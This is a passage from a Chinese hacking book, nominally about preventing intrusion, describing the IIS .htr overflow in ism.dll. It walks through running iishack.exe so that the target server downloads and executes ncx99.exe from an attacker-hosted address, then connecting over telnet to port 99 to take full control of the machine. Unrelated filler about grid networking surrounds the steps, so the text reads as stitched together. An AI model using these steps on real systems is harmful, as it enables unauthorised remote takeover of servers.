黑客攻防技术内幕-防范入侵的办法(9)
网络技术是从1990年代中期发展起来的新技术，它把互联网上分散的资源融为有机整体，实现资源的全面共享和有机协作，使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享，网络则被认为是互联网发展的第三阶段。
6.6 htr溢出入侵
6.6 htr溢出入侵
在IIS的Inetsrv目录下，有个DLL文件叫ism.dll，这个模块在Web运行的时候就被加载到较高的内存地址，并且导致了零字节问题到处出现。IIShack.asm利用这个漏洞，eEye写了两个程序：iishack.exe和ncx99.exe。
在命令提示符下运行iishack程序，如图6-60所示。
图6-60 iishack运行界面
命令行运行格式：
iishack 目标主机 端口URL(ncx99链接路径)
入侵者必须自己有一个空间，把ncx99.exe上传到该空间下，比如入侵者将ncx99.exe上传的路径是：61.129.81.122/ls-net/ncx99.exe，而对方的IIS server是sh.kill.com.cn，则输入如下内容：
iishack sh.kill.com.cn 80 61.129.81.122/ls-net/ncx99.exe
如图6-61所示。
注意：
在输入ncx99.exe路径时不带http://。
图6-61 htr溢出
接着在提示符下输入：telnet sh.kill.com.cn 99即可通过99号端口登录到对方服务器。这样，入侵者就可以完全控制目标计算机。
网络的神奇作用吸引着越来越多的用户加入其中，正因如此，网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......，各项技术都需要适时应势，对应发展，这正是网络迅速走向进步的催化剂。
……